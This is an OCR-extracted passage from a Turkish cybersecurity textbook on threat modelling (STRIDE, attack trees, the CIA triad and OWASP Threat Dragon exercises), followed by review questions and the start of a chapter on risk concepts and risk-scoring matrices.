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4. Bilinen Tehditlerin Dokiimani

Siber tehditler glinden giine artis gosterir. Bilinmeyen tehditleri 6nceden belirlemek ve bu tehditler
icin onlem almak olduk¢a zordur. Bu nedenle bilinmeyen tehditlere iliskin savunma stratejileri
olusturmak yerine bilinen tehditlere odaklanilir. Bilinen tehditlerin 6zelligi glivenlik arastirmacilari
tarafindan kesfedilip halka agik glivenlik duyuru platformlari araciligiyla toplumun bilgisine sunulur.

Tehdit modellenmesi ve dokiimantasyonu icin farkli yaklasimlar ve araglar mevcuttur. Hangi yontemin
secilecegi, projenin veya kurumun ihtiyaclarina baghdir. OWASP, web uygulama givenligi ile ilgili
tehditlerin belirlenmesi ve dnlenmesi icin kapsamli kaynaklar sunar.

5.2. TEHDIT MODELLEME YONTEMLERI

Potansiyel glvenlik tehditlerinin dnceden belirlenmesi bu tehditlere iliskin 6nlem alinmasi igin
onemlidir. Bu bakimdan farkli tehdit modelleme yontemleri bulunur.

5.2.1. STRIDE

STRIDE, uygulamalari birbirinden farkh kullanim durumlarina ve isleyislerine gore haritalamak icin
kullanilir. Ozellikle kodlamaya baslamadan 6nce potansiyel giivenlik agiklarinin tanimlanmasi ve
ortadan kaldirilmasi icin tercih edilir. Bu sayede givenli uygulama tasarimi olusturmak icin cerceve
olarak kullanilabilecek tehditlerin modeli olusturulabilir.

STRIDE Gibi Cergeveler: STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of
Service ve Elevation of Privilege) potansiyel tehdit tirlerinin tanimlanmasi ve degerlendirilmesi icin
kullantlir. Her bir tehdit tard, belirli bir risk sinifina odaklanir ve bu siniftaki muhtemel zafiyetlerin
belirlenmesine destek olur. STRIDE tehdit modelinde alti farkl tehdit kategorisi kullanilir.

1. Kimlik Sahteciligi (Spoofing Identity)

Kimlik sahteciligi, siber korsanin baska bir kisinin kimligine girerek o kimlikteki bilgileri kullanarak
dolandiricilik yapmasidir. Yaygin olarak kullanilan dolandiricilik yontemi oltalama (phishing)
saldirnisidir. Ornegin kurbana farkli bir kimlikle génderilen e-postalar ile hassas bilgiler talep edilir.
Korsan, savunmasiz alicidan alinan verilerle yeni kimligini insa ederek siber saldirilar baslatabilir.
Yapay zekada (Al) oltalama saldirisinda kullanicilari zararli igerige tiklamak i¢in kandiran e-postalar
veya mesajlar olusturabilir.

2. Veri Manipiilasyonu (Tampering With Data)

Veri manipilasyonu, verinin veya bilginin izinsiz degistirilmesi durumudur. Siber korsan bunu
sistemin yapilandirma dosyasini degistirmek, kotli amagh dosya eklemek veya log dosyasini
silmek/degistirmek yontemi ile yapabilir.

3. inkar Tehditleri (Repudiation Threats)

inkar tehditleri, saldirganin sistemde yasa disi veya kétii amacl bir islem gerceklestirmesine
ragmen bu saldiridaki rolini{ inkar etmesidir. Sistem, kotli amacli faaliyeti izleyip bir saldirgani
tanimlama konusunda yetkin degildir. Bu tir saldirilarin ¢ogu erisim saldirisi olarak baslar.

4. Bilgi Sizintisi (Information Disclosure)

Bilgi sizintisi, bir uygulama veya web site bilgilerinin istemeden yetkisiz kullanicilara sizdirilmasidir.
Bu tehdit, veri akisini ve depolanmasini etkileyebilir. Bilgi sizdirmaya érnek olarak hassas kullanici
verisi olan kredi karti numaralarinin agiga ¢ikmasi verilebilir.
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5. Hizmet Engelleme Saldirisi [Denial of Service (Dos)]

Hizmeti engelleme saldirisiyla yetkili kullanicilarin erismesi gereken kaynaklara erisimi kisitlanir.
Hizmeti engelleme saldirilari sistemlerdeki veri akisini ve veri depolamasini etkiler. Ger¢ceklesme
sikhgi artan bu saldirilari 6nlemek icin koruyucu araglar tasarlanmaktadir.

6. Yetki Yiikseltme (Elevation of Privileges)

Sistemde yetkilendirilmemis bir kullanici yetkili olmadig bilgilere erisebilir duruma gelir. Ornegin
saldirgan disk veya bellek verisini manipiile edip degistirerek yetkisi disindaki komutlari ylritebilir.
Bu sayede yetki ylkseltme isleme gerceklestirilir.

5.2.2. Saldin Agaglari (Attack Trees)

Saldir agaglari, sistemdeki tehditleri ve bu tehditlere karsi alinabilecek 6énlemleri gorsel bir sekilde
temsil etmek igin kullanilir. Bir agag yapisi kullanilarak bir hedefe ulagsmak igin kullanilabilecek farkl
yollar gorsellestirilir. Bu yaklasimda muhtemel tehditler, agac¢ yapisiyla gosterilir. Bu model, tehditlerin
birlesiminin bir sisteme zarar verebilme durumunu goérsellestirmede oldukga etkilidir. Aga¢ yapisindaki
kok, tehdit veya amaci, dallar ise bu tehdidin gerceklestiriimesinin alt yontemlerini (6rnegin parola
kirma veya DoS saldirisi) gosterir.

5.2.3. Bilgi Giivenligi Ucgeni

Bilgi guvenligi Uggeni, bilgi glvenliginin prensiplerini
temsil eder ve sirasiyla gizlilik (Confidentially), batianlik
(Integrity) ile erisilebilirlik (Availability) kavramlarini
icerir. Bu kelimelerinin ilk harflerinden olusan CIA bilgi
glvenliginin temel unsurlaridir (Goérsel 5.1). Bilgi glivenligi
Gggeninin unsurlarindan herhangi birinin ihlal edilmesi
durumunda glivenlik zafiyeti meydana gelir.

Gizlilik [C (Confidentiality)]: Gizlilik veriye sadece yetkili
kisilerin erisebilmesini ifade eder. Bu unsur bilginin yetkisiz
erisimlere karsi korunmasini saglar. Ornegin kisisel veya
kurumsal verilere yetkisiz kisilerin erismesini engellemektir.

Gorsel 5.1: CIA piramidi Biitiinliik [I (Integrity)]: Bilginin dogru ve eksiksiz
korunmasidir. Butilinlik unsuru verilerin bozulmasina,

yok edilmesine ve yetkisiz kisiler tarafindan degistirilmesine karsi koruma saglar. Ornegin bankacilik
sisteminde gercgeklestirilen birislemin dogru ve eksiksiz olarak yapilmasini ve kaydedilmesini saglamaktr.

Erisebilirlik [A (Availability)]: Bilginin istendiginde yetkili kullanicilar tarafindan erisilebilir olmasidir. Bu
unsur sistemlerin ve verilerin kesintisiz bir sekilde erisilebilir olmasina imkan saglar. Ornegin e-ticaret
hizmeti veren bir web sitesinin 7/24 erisilebilir olmasidir.

5.2.4. Tehdit Modelleme Araci

Tehdit modelleme siirecinde Open Web Application Security Project (OWASP) tarafindan gelistirilen
actk kaynakli tehdit modelleme araci OWASP Threat Dragon kullanilabilir. Bu arag, web tabanli bir
uygulama olarak veya masalsti uygulamasi olarak kullanilabilir. Kullanicilar sistemlerini ve bilesenlerini
gorsel olarak bu araci kullanarak modelleyebilir. Olusturulan diyagram lzerinde dogrudan tehditler
belirlenebilir ve bunlarla ilgili detaylar eklenip dizenlenebilir. Gérsel modelleme, kullanicilarin veri
akisini ve potansiyel zafiyet noktalarini tespit etmelerine destek olur. Popller yazilim siriim kontrol
platformlariyla uyumlu calisarak tehdit modelleme sirecini yazihm gelistirme yasam dongisiyle
entegre etmeyi kolaylastirir.
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OWASP tehdit modelleme araci, tehdit modeli diyagramlarinin olusturulmasi icin kullanilan agik
kaynak kodlu bir modelleme aracidir. Bu ara¢ web uygulamasi veya masaistii uygulamasi olarak calisir.
OWASP Threat Dragon araci da STRIDE/LINDDUN/CIA’y1 destekleyen modelleme diyagramlarinin
olusturulmasini saglar. Tehditler ve 6nlemler kolaylikla olusturulabilir.

5.2.4.1. OWASP Threat Dragon Kurulumu

OWASP Threat Dragon’un (Gorsel 5.2) kurulum adimlari ¢evrimici (web) veya ¢evrimdisi (masadusti
sirim veya platforma bagli) olarak farklilik gosterebilir OWASP Threat Dragon’un web tabanh
sirimina internet tarayici ile kullanarak herhangi bir kurulum yapilmasina gerek yoktur. Masausti
strtminin kurulumu icin de OWASP Threat Dragon GitHub sayfasindan (https://github.com/OWASP/
threat-dragon/releases) aracin en yeni stirimd indirilebilir.

Gorsel 5.2: OWASP

1. UYGULAMA Ev agindaki cihazlari ve bilgileri potansiyel tehditlerden korumak igin
tehdit modellemesi yapma islemini asagidaki adimlar dogrultusunda
gerceklestiriniz.

1. Adim: Ev aginin haritasini olusturunuz (Ornegin Ev Agindaki Cihazlar: Bilgisayarlar, akilli telefonlar,
akilli TV. Ag Ekipmanlari: Modem. Hizmetler: E-posta, sosyal medya gibi).

2. Adim: Cihazlarda zafiyet olusturabilecek zayif veya varsayilan olarak kullanilan sifreleri belirleyiniz.

3. Adim: Cihazlarda zafiyet olusturabilecek isletim sistemlerini veya giincellenmemis yazilimlari tespit
ediniz.

4. Adim: Cihazlarda zafiyet olusturabilecek kullanilmayan fakat acgik olan servis veya portlari tespit
ediniz.

5. Adim: Zafiyetlere iliskin dnlemleri belirleyiniz.

6. Adim: Cihazlarin kullandigi sistemler igin glicli ve benzersiz sifreler kullanarak zafiyetlere iligskin
onlemleri aliniz.

7. Adim: Cihazlarin ve uygulamalardaki zafiyetlere iliskin uygulamalarin glincellemelerini dizenli olarak
gerceklestirerek onlem aliniz.

8. Adim: Cihazlarda kullanimda olmayan servisleri veya portlari kapatarak zafiyetlere iliskin 6nlem aliniz.
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9. Adim: Cihazlarda zararh yaziimlardan korunmak icin bunlari engelleyecek yazilimlar kullanarak
zafiyetlere iliskin 6nlem aliniz.

10. Adim: Belli araliklarla (haftalik veya aylik) cihazlarinizin giincelliklerini kontrol edeceginiz aktif bir
eylem plani olusturunuz.

11. Adim: Ag sifrenizi diizenli araliklarla degistireceginiz aktif bir eylem plani olusturunuz.

12. Adim: Cihazinizdaki kullanicilarin géndereni hakkinda bilgi sahibi olmadigi veya sipheli olan
e-postalari, eklerini yahut linklerini agmamasi igin aktif bir eylem plani olusturunuz.

Bir web hizmetini normal bir kullanicinin kullanimi ve kétu niyetli bir
sahte hesabin (BotHesap) sistemi nasil tehlikeye atabilecegi slrecini
asagidaki adimlar dogrultusunda gergeklestiriniz (Siteden hizmet almak
isteyen iki farkli kullanici tirG vardir. Bunlardan biri normal kullanici,
digeri ise kotl amagli sahte bir hesaptir.).

2. UYGULAMA

1. Adim: OWASP Threat Dragon’u acarak (Gorsel 5.3) yeni bir proje baslatiniz.

Threat Dragon v2.0.4  eng~ o # @

OWASP Threat Dragon

OWASP Threat Dragon is a free, open-source, cross-
platform application for creating threat models, Use it to
draw threat modeling diagrams and to identify threats for
your system. With an emphasis on Flexibility and simplicity
it is easily accessible for all types of users.

Gorsel 5.3: OWASP Threat Dragon masadsti agilis sayfasi

2. Adim: Diyagramini olusturacaginiz Tehdit Modeline Gorsel 5.4’teki Title bolimiine TehditModell
yaziniz.

Threat Dragon v2.0.4  eng~ LoggedinasGuest [+ @ 8 @

Editing: ThreatModel1

Title
ThreatModel1

Owner Reviewer
Zeynep Ayge

High level system description

Contributors

Start typing to add a contributer

Diagrams

m Spotlight New STRIDE diagram description

+ Add 3 new diagram

Gorsel 5.4: Tehdit model bilgi giris ekrani
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L
3. Adim: Owner béliimiine diyagramin sahibini ve Reviewer béliimiine inceleyecek kisinin adini yaziniz.

4. Adim: Diagrams basligina Spotlight yazip, Spotlight’a tiklayarak Goérsel 5.5’te gériilen Compenents
bilesenleri listeleyiniz.

Threat Dragon v2.0.4  eng~ loggedinasGuest [+ @ &% &

Spotlight

Properties Threats

Select an element on the graph to edit Select an element on the graph to add a threat

Gorsel 5.5: Tehdit model bilesenleri

5. Adim: Gorsel 5.6’daki Save butonuna tiklayip, acilan pencerede modele isim vererek kaydediniz.

Threat Dragon v2.0.4  eng~ LoggedinasCuest (» @ 8 @

ThreatModel1

Cwner: Reviewer: Contributors:
Zeynep Ayze

High level system description

Save Model As.
Ax |_new-model json
Spotlight where: [ Desktop — iCloud 8 -
Format:  Threst Model 63
He e coneel (RN
=
oe ©
e ®

@Edit | BReport  xClose

Gorsel 5.6: Tehdit modeli bilgi kaydi
6. Adim: Diyagrama bir istemci ekleyiniz (istemci, web sitesini ziyaret eden normal bir kullanicidir.).

7. Adim: Diyagrama bir Web Sunucu adinda bir bilesen ekleyiniz (Web sunucu, web sitesinin barindigi
sunucuyu temsil eder.).

8. Adim: Diyagrama BotHesap adinda bir bilesen ekleyiniz (BotHesap, web sitesine otomatik olarak
erismeye calisan kot amach bir botu temsil eder.).

9. Adim: istemci, BotHesap ve Web Sunucu arasindaki iletisim icin internet ekleyiniz.

10. Adim: istemciden web sunucusuna dogru bir ok gizerek ok bashgina istek yaziniz.

11. Adim: Web sunucusundan istemciye dogru bir ok gizerek okun basligina Cevap yaziniz.
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12. Adim: BotHesap’tan web sunucusuna dogru bir ok cizerek BotHesap’in sunucuya gonderdigi zararli
istekleri gosteriniz.

13. Adim: Diyagrama Kayitlar adinda bir bilesen ekleyerek, web sunucusundaki tiim etkinliklerin log
olarak kaydedildigini gosteriniz.

14. Adim: Web sunucudan bir ok cizerek, bu oku Denetim olarak isimlendiriniz. Bu ok, sunucunun
kayitlari kontrol ederek tehlikeli isteklerin tespit edilme yetenegini gosterir (Gorsel 5.7’deki diyagram
elde edilecektir.).

Threat Dragon v2.0.4  eng~ LggedinasGuet [+ @ 8§ &
) esam Spotlight B Em D C oG @ m oxOmse @i
it |
N —_— |
= | R i‘
Beunduin oy i
B Ko/} |
st Boundary § et
............. ™ ,___ —
Trust Baundacy
Metadata
Properties Threats [+ tiew thvent |
Mane | nternet Desorption

Diizeitme._Slinite

Gorsel 5.7: Tehdit model diyagrami

15. Adim: Gorsel 5.8'deki tehdit dlizenlemesini yapiniz.

Edit Threat #5

‘

Title
X55
Type

Tampering

A

Status Score Priority
NfA  Open  Mitigated Low  Medium  High
Description
Cross-Site Scripting (XSS) saldirganlarin kéti amacl komutlar veya scriptleri web sitesine enjekte
etmesini saglar.
Mitigations

Input Sanitization (Girdi Temizleme) uygulamalarin kullandigi verinin giivenli ve temiz olma durumunu
tespit etmek icin kullarlir.

P

ot o

Gorsel 5.8: Tehdit diizenlemesi
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16. Adim: istek basliginin tehdit diizenlemesini Gorsel 5.9'daki gibi yapiniz.

Threat Dragon v2.0.4  eng~ loggedinasGuest [ @ £ @

Tt B sbans

Properties Threats

Mame  |ckek Description
5SS
Tampering
e (s
Out of Scope Reason for out of scope

Gérsel 5.9: istek bagliginin tehdit diizenlemesi

17. Adim: Web Sunucu adl ok bolimiine Goérsel 5.10’daki tehditleri ekleyiniz.

Threat Dragon v2.0.4  ang~ Logged in as Guest  [#

Tt B mibiris

Properties Threats

Mame  aiah Sunwcy Descrigtion
7 New STRIDE 8 New STRIDE 9 New STRIDE
threat threat threat
Spoafing Tamgarin Infarmation

Out of Scope Reason for out of scope AS sTRIDE A® E disclosure
aw (sTRIDE

Gorsel 5.10: Web Sunucu basliginin tehdit diizenlemesi

18. Adim: Cevap adl ok boliimiine Gorsel 5.11’deki tehditleri ekleyiniz.

Threat Dragonv2.0.4  eng~ loggedinasGuest [+ @ 8 &

Trniad Hnsindars

Properties Threats

Hame (waD Descriptaon
816 New 5TRIDE #17 New STRIDE #18 New STRIDE
threat threat theeat
Tampering Information Denial of service
DutalSoers Forason for oot of scope A® srmise. disclosure A
e [sTmice.

Gorsel 5.11: Cevap bashginin tehdit diizenlemesi
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3. UYGULAMA Bir sosyal medya platformunun nasil calistigl, hangi risklere maruz
kalabilecegi ve bu risklere karsi nasil savunma olusturulabilecegi
ile ilgili slireci OWASP Threat Dragon aracini kullanarak modelleme
islemini asagidaki adimlar dogrultusunda gerceklestiriniz (Sosyal medya
platformunda kullanicilar; hesap olusturabilir, fotograf ve metin paylasabilir
ve baskalarini takip ederek onlarin paylasimlarina da yorum yapabilir.).

1. Adim: OWASP Threat Dragon’u agarak yeni bir projeye baslatiniz.

2. Adim: Diyagram alanina sosyal medya platformunu kullanan kullaniciyr temsilen Kullanici bileseni
ekleyiniz.

3. Adim: Diyagram alanina kullanicilarin paylasimlarini, yorumlarini ve diger etkilesimlerini barindiran
sunucuyu temsil eden Sosyal Medya Sunucusu bilesenini ekleyiniz.

4. Adim: Diyagram alanina kullanici profilleri, paylasimlar, yorumlar vb. bilgilerin saklandigi yeri bildiren
Veri tabani bilesenini ekleyiniz.

5. Adim: Kullanici bileseninden Sosyal Medya Sunucusu bilesenine dogru bir ok cgizerek, bu oku istek
olarak isimlendiriniz.

6. Adim: Sosyal Medya Sunucusu bileseninden Kullanici bilesenine dogru bir ok cizerek, bu oku Cevap
olarak isimlendiriniz.

7. Adim: Diyagrama otomatik olarak calisan ve platforma kot amach etkilesimlerde bulunmaya calisan
bir botu temsilen BotHesap bileseni ekleyiniz.

8. Adim: BotHesap’tan Sosyal Medya Sunucusu’na dogru Tehlikeli isimli bir iletisim oku giziniz.

9. Adim: Sosyal Medya Sunucusu bileseninin yanina Kayitlar bileseni ekleyiniz (Kayitlar bileseni
sunucunun tiim etkinliklerinin log olarak kaydedildigi alani temsil eder.).

10. Adim: Sosyal Medya Sunucusu bileseninden Kayitlar bilesenine dogru bir ok gizerek, bu oku Denetim
olarak adlandiriniz.

11. Adim: Olusturulan diyagrami gézden gecirerek tasarimi kontrol ediniz.

/) sizoe

STRIDE potansiyel tehdit tirlerinin tanimlanmasini ve degerlendirilmesini
gerceklestiriniz.
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1. Asagidakilerden hangisi tehdit modelleme
yapmanin temel amacidir?

A) Sistem performansini yikseltmek.
B) Kullanici deneyimini iyilestirmek.
C) Kodlardaki hatalari diizeltmek.

D) Potansiyel glvenlik tehditlerini tanimlayarak
onlem almak.

E) Sistemlerin daha hizl calismasini saglamak.

. Asagidakilerden hangisi tehdit modelleme
siirecinin son agamasidir?

A) Diyagram olusturmak.

B) Tehditleri hafifletmek.

C) Potansiyel tehditleri belirlemek.
D) Dogrulama yapmak.

E) Sistemi glincellemek.

. Asagidakilerden hangisi Attack Trees tehdit
modellemesinin kullanim amacini agiklar?

A) Sistem performansini artirmak.
B) Kullanici deneyimini iyilestirmek.

C) Potansiyel giivenlik tehditlerini gorsel olarak
gostermek.

D) Sistemin hafiza kullanimini izlemek.

E) Yazilimin kod yapisini analiz etmek.

TEHDIT MODELLERI

Asagidaki sorulari dikkatlice okuyarak dogru cevabi isaretleyiniz.

4. Verilerin sifrelenmesi bilgi gilivenligi ligge-

ninin hangi bileseni ile iligkilidir?
A) Biitiinliik

B) Dogrulama

C) Erisilebilirlik

D) Gizlilik

E) Yetkilendirme

. Asagidakilerden hangisi OWASP Threat

Dragon'in temel 6zelliklerindendir?

A) Ag trafiginin analizi

B) Kod hatalarinin otomatik diizenlenmesi
C) Canli sistemlerin izlemesi

D) Gorsel tehdit modelleme diyagramlarinin
olusturulmasi

E) Virls taramasi

6. Asagidakilerden hangisi tehdit modelleme-

nin ana bilegenleridir?

A) Aktorler, Etkiler, Aksiyonlar

B) Aktorler, Zayifliklar, Etkiler

C) Zayifliklar, Tehditler, Aksiyonlar
D) Aktorler, Tehditler, Zayifliklar

E) Aktorler, Etkinlikler, Aksiyonlar
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7. Asagidakilerden hangisi tehdit modellemede 9. Asagidakilerden hangisi Tehdit Ajani kavra-

kullanilan en yaygin yontemdir?

A) AGILE
B) CIA

C) PESTLE
D) STRIDE

E) SWOT

. Asagidakilerden hangisi STRIDE yénteminde
saldirganin veri manipiilasyonu yapmasini
ifade eden kategoridir?

A) Kimlik Sahteciligi (Spoofing Identity)

B) Hizmet Engelleme Saldirisi [Denial of Service
(Dos)]

C) Bilgi Sizintisi (Information Disclosure)
D) Veri Manipiilasyonu (Tampering With Data)

E) Yetki Yikseltme (Elevation of Privileges)

mini tanimlar?

A) Saldirinin  hedefindeki bireyler veya
kurumlar

B) Saldiry1 gerceklestirmek isteyen birey
veya gruplar

C) Saldirinin etkiledigi cihazlar
D) Saldiriya iliskin alinan koruma yéntemi

E) Saldirinin zamani

10. Asagidakilerden hangisi saldirganin sis-
temdeki hizmetlerin galismasini engelle-
yerek sistemin kullanilamaz hale gelmesini
saglayan STRIDE kategorisidir?

A) Kimlik Sahteciligi (Spoofing Identity)

B) Hizmet Engelleme Saldirisi [Denial of
Service (Dos)]

C) Bilgi Sizintisi (Information Disclosure)

D) Veri Manipilasyonu (Tampering With
Data)

E) Yetki Yukseltme (Elevation of Privileges)
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RISK DEGERLENDIRME

KONULAR NELER OGRENECEKSINiZ?
6.1. TEMEL RiSK KAVRAMLARI - Temel risk kavramlarini agiklama
6.2. RiSK DEGERLENDIRME - Risk degerlendirme adimlarini

ADIMLARI aciklama

ANAHTAR KAVRAMLAR

ihlal, koruma, risk, saldiri, tehdit, varlk, zafiyet
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1. Sanal veya gercek ortamda karsilasilabilecek riskler nelerdir? Diistincelerinizi
arkadaslarinizla paylasiniz.
2. Size gore sanal ortamda olasi risklere karsi ne tiir dnlemler alinabilir?

6.1. TEMEL RiSK KAVRAMLARI

Siber giivenlikte amag; varliklar tehdit, zafiyet, olasi risk ve saldirilara karsi herhangi bir ihlale sebep
olmadan korumaktr.

6.1.1. Varlik Kavrami

Varlik (asset), degerli olan ve korunmasi gereken kaynaklardir. Veriler, bilgiler, dokiimanlar, sistemler,
binalar, calisanlar vb. varliklara 6rnektir (Gérsel 6.1). Siber varlik ise siber ortamlarda bulunan araglar,
islemler, dokiimanlar, planlar, veriler veya bilgilerdir. Varlklar, CIA piramidi gereksinimlerine gore
korunmalidir.

Gorsel 6.1: Varliklar

6.1.2. Tehdit Kavrami

Tehdit (threat), bilgi varliklarina zarar veren ve gilvenlik ihlallerine neden olan her tirli potansiyel
olaydir. Bir kurulus veya varlik icin istenmeyen sonuclara neden olabilir.

Tehditler dogal kaynakli (sel, deprem, cig vb.) veya insan faktoérii kaynaklh olabilir. insan kaynakh
tehditler kasith (calisan bir personelin yetkisiz bir sekilde bilgilere erisimi, e-posta gonderimi, herhangi
bir virlis saldirisi vb.) veya kasitsiz (yanlis veri) sekilde incelenebilir ancak ag sisteminde meydana gelen
herhangi bir fiziksel arizadan kaynakli olusabilecek bir aciklik, insan faktorli tehdit olabilecegi gibi dogal
cevresel bir durumdan kaynakh da (insan faktorstiz) olabilir.
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6.1.3. Zafiyet

Zafiyet (vulnerability), bir tehdidin zarar vermesine izin veren zayiflik ve agikliklardir. Zafiyetin istismar
edilmesi halinde varliklarda kayip veya hasar meydana gelebilir. Bir bilgisayar sistemindeki zafiyetler;
donanim, yazilim, tasarim, isletim sistemi, siire¢ veya test asamasinda yapilabilecek hatalardan kaynakh
yahut insan kaynakli olabilir.

6.1.4. Risk Kavrami

Risk, bir tehdidin bir varliga zarar vermek i¢in glivenlik agigindan yararlanma ihtimalidir. Risk diger bir
deyisle bilginin gizlilik, butlinltk veya erisilebilirliginin (CIA) kaybolma potansiyelidir (Sekil 6.1).

Sekil 6.1: Risk yonetimi

Risk olustugu zaman bir varligin degerini azaltan bir olayin olmus olma olasiligl yiksektir. Risk
hesaplamasi icin varlik, aciklik ve tehdit olmak (izere (¢ adet girdi kullanilir.

Risk = F (varlik, acgiklik ve tehdit)

Risk, bir tehdit kaynaginin olasi bir givenlik agigi gerceklestirme ihtimali ile bunun sonucunda meydana
gelebilecek olumsuz bir etkinin fonksiyonu olarak tanimlanabilir (Sekil 6.2).

.\

Sekil 6.2 Risk

Risk
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6.1.5. Koruma Kavrami

Koruma (safeguards), bir bilgi sistemi icin belirtilen glvenlik hedeflerini (gizlilik, bitlnlik ve
kullanilabilirlik) karsilamak igin 6ngériilen koruyucu veya karsi dnlemlerdir (Gorsel 6.2). Onlemler;
glvenlik 6zellikleri, yonetim kontrolleri, personel glvenligi ile fiziksel yapilarin, fiziksel alanlarin ve
cihazlarin glivenligini icerebilir. Koruma yontemleri kullanilarak bir sistemin savunmasizligi azaltilabilir.

Gorsel 6.2: Koruma

6.1.6. Saldiri Kavrami

Saldir (attack), siber ortamlarin zafiyete ugratilmasi veya suistimal edilmesi i¢in yapilan girisimlerdir
(Gorsel 6.3). Saldirilar ile kuruluslarin glvenlik altyapisindaki yer alabilecek agikliklardan yararlanilarak
varliklarin zarar gérmesi, kaybolmasi veya ifsa edilmesi saglanir.

Gorsel 6.3: Siber saldiri gerceklestiren saldirgan

Diinyada ge¢misten glinimuize yasanan siber saldirilari arastirarak bir sunum
hazirlayiniz ve arkadaslarinizla paylasiniz.
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6.1.7. ihlal Kavrami

ihlal (breach) kelimesinin Tiirk Dil Kurumuna gore
anlamlari “bozma, zarara verme, yasa ve dlzene
uymama” seklindedir. Siber yasamda ise “yetkisiz
bir kisinin givenlik mekanizmalarini atlatmasi _
sonucunda bilgilere erisim saglanmasi” seklinde CONFIDENTIAL DATA
tanimlanabilir. Ornegin bir saldirganin kurumun
sistemlerinden hassas bilgileri almasi bir ihlaldir
(Gorsel 6.4). Boyle bir senaryoda kisisel bilgi
ve veri ihlallerinin yani sira 6zel bilgilerin, ticari
sirlarin veya ylksek diizeyde hassas bilgilerin
blylik oranda disari sizmasi gerceklesir.

Géirs.el .6.4: Erisim ihlali
6.2. RiSK DEGERLENDIRME ADIMLARI

Risk yonetimi; kurulus veya projelerde risklerin tanimlanmasi, analiz edilmesi ve kontrol edilmesine
yonelik sistematik bir slirectir. Risk yonetimi ile istenmeyen olay olasiligl ve istenmeyen olaylarin etkisi
en aza indirilebilir.

6.2.1. Risk YOnetim Siireci

Bilgi glvenligi riskleri sirekli gelistiginden sistematik, tekrarlanabilir ve tutarli bir risk yonetimi
sireci her organizasyon icin hayati 6nem tasir. Risk yonetimi sireci tek seferlik bir faaliyet degildir.
Bu slire¢ kuruluslarin bilgi varhklarini ve operasyonlarini potansiyel olarak etkileyebilecek risklerin
tanimlanmasini, degerlendirilmesini ve yonetilmesini iceren sirekli bir dongudur. Bu sireg; faktorleri
belirleme, risk tanimlama, risk analizi, risk degerlendirme, risk yonetimi, risk kabull ve risk izleme
asamalarini kapsar. Bu sirecin nihai hedefi organizasyonun potansiyel tehditleri ve zayifliklari uygun
sekilde yonetmesine olanak tanimaktir. Boylece riskler kabul edilebilir diizeylerde tutulur (Sema 6.1).

Faktérleri
Belirleme
Risk Risk Risk Risk Risk
Tanimlama Analizi Degerlendirme Yoénetimi Izleme

¢t =

Risk kabul
edildi mi?

S$ema 6.1: Risk yonetim siireci
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6.2.2. Risk Degerlendirme Metodolojisi

Riskleri nicelik bakimindan degerlendirmek icin etki ve olasilik boyutlarini birlestiren bir matris yaklasimi
kullantlir. Etki, riskin gerceklesmesi halinde ortaya cikabilecek potansiyel sonugclari veya hasari ifade
eder. Etki, 1-5 araliginda derecelendirilir.

Cok Diisuik (1)

Operasyonlar tzerinde 6nemli bir etki yoktur. Mali kayip kiguktir. Kurumun itibarina zarar ya
yoktur ya da minimumdur.

Minor/Kiigiik (2)

Operasyonlarda bir miktar aksama, orta diizeyde mali kayip ve kurumun itibarinda kigik hasar
meydana gelebilir.

Orta (3)

Operasyonlarda orta vadede telafi edilebilecek aksama, dnemli mali kayip, kurumun itibarinda
orta dizeyde meydana gelir.

Onemli (4)

Operasyonlarda uzun vadeli aksama, blylik mali kayip, kurumun itibarinda 6nemli hasar meydana
gelir.

Asiri (5)

Operasyonlarda kalici aksama, biyik mali kayip, kurumun itibarinda onarilamaz hasar meydana
gelir.

Olasilik terimi riskin gerceklesme olasiligini ifade eder. Olasilik da 1-5 araliginda derecelendirilir.

Cok Olasi Degil (1)

Risk olayi sadece istisnai durumlarda meydana gelebilir.
Nadir (2)

Risk olayi herhangi bir zamanda meydana gelebilir.
Olasilig1 Duisiik (3)

Risk olayi gerceklesebilir.

Muhtemel (4)

Risk olayi cogu durumda muhtemelen gerceklesecektir.

Cok Olasi (5)

Risk olayinin cogu durumda gerceklesmesi beklenmektedir.

Risk puani etki ve olasilik derecelerinin ¢arpilmasi ile hesaplanir. Ortaya ¢ikan puan, 1 (en dusik risk)
ile 25 (en yuksek risk) arasinda bir deger olur. Bu puan, riskleri degerlendirmek ve risklerin 6ncelik
siralamasi icin kullanilir (Sema 6.2).
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Cok Yiiksek Risk

Asiri 5

Diizeyi
Onemli a4 Yiiksek Risk Diizeyi
= Orta 3 Orta Risk Diizeyi
w
Kiigtik 2 Diisuik Risk Diizeyi
Cok Disuk 1 2 3 4 5
% = o @
M — — EL= T £ ]
O T = > 2 [¢
s 2 83 5 %
o S (]
Olasihk

Sema 6.2: Riskin derecelendirilmesi
Risk Kabul Olgiitleri
Hangi risklerin kabul edilebilir olduguna ve hangilerinin risk yonetimi gerektirdigine karar vermek icin
esik degerler kullanilir. Bu risk, kabul esik deger araliklari hesaplanan risk puaninin degerlendirilmesini
saglar.
e Diisuk Risk (1-3)

Bu kategorideki riskler rutin kabul edilebilir olarak degerlendirilir ancak zaman iginde
artmadiklarindan emin olmak igin izlenmelidir.

e Orta Risk (4-6)

Bu kategorideki riskler acil bir azaltma ihtiyaci olmaksizin kabul edilebilir olarak degerlendirilir
ancak zaman icinde artmadiklarindan emin olmak igin izlenmelidir.

e Yiiksek Risk (8-12)

Bu seviyedeki riskler onemli olarak degerlendirilir ve azaltilmasi icin dncelikli dikkat gerektirir. Bu
seviyedeki riskler onemli bir tehdit olusturur ve potansiyel etkilerini veya olasiliklarini azaltmak
icin proaktif 6nlemler alinmasini gerektirir.

e Cok Yiiksek Risk (15-25)

Bu seviyedeki riskler kabul edilemez, hafifletilmesi icin acil ve agresif eylemler gerektirir olarak
degerlendirilir. Bu seviyedeki riskler kurumun faaliyetleri veya hedefleri icin ciddi bir tehdit
olusturur.
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6.2.2.1. Risk Degerlendirme Siireci

Risk degerlendirme siireci, risk yonetiminin dnemli bir bilesenidir. Bu siireg; kurumun bilgi varliklarini
ve operasyonlarini potansiyel olarak etkileyebilecek risklerin sistematik olarak tanimlanmasini, analiz
edilmesini ve degerlendirilmesini icerir (Sema 6.3).

Risk Risk

Tanimlama Degerlendirme

Sema 6.3: Risk degerlendirme siireci

6.2.2.2. Risk Tanimlama
Risk tanimlama islemi su sekilde yapilir:
e Bilgi glivenligi yonetim sistemi kapsamina giren tiim varliklar tanimlanir.

e Tanimlanan her varlik icin tim potansiyel tehditler tanimlanir. Bu tehditler insan kaynakli (hata
veya dolandiricilik gibi), dogal (yangin veya sel gibi) veya cevresel (elektrik kesintisi gibi) olabilir.

